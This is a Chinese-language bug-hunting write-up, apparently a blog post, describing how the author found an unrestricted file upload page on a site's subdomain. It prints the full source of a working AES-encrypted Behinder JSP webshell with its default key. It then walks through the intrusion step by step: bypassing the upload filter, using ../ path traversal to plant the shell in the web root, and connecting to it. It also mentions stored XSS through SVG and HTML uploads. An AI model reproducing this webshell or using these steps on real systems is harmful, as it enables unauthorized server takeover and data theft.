任意文件上传漏洞挖掘(getshell)

任意文件上传漏洞挖掘(getshell)

1.在漏洞挖掘过程中进行找到该子域名页面,

任意文件上传漏洞挖掘(getshell)_第1张图片

2.没有内容就扫目录,成功发现filemanager/,点击访问

任意文件上传漏洞挖掘(getshell)_第2张图片

看到upload页面感觉有惊喜,

任意文件上传漏洞挖掘(getshell)_第3张图片

果然有上传功能,点击上传抓包,经测试发现普通jsp会被拦截,蚁剑连不上,所以选择冰蝎马上传,因为冰蝎马默认AES加密

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%><%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

任意文件上传漏洞挖掘(getshell)_第4张图片

但是没有路径回显,看到path,于是尝试…/上传

任意文件上传漏洞挖掘(getshell)_第5张图片

可以看到有路径,在尝试…/…/后

任意文件上传漏洞挖掘(getshell)_第6张图片

访问后发现正好是网站根路径

直接尝试冰蝎连接,连接成功

任意文件上传漏洞挖掘(getshell)_第7张图片

任意文件上传漏洞挖掘(getshell)_第8张图片

至此,成功gethell

当然也可以上传svg,html文件形成存储型XSS,经测试都是可以的,这里完全对上传文件没有限制。

你可能感兴趣的:(漏洞挖掘,web安全)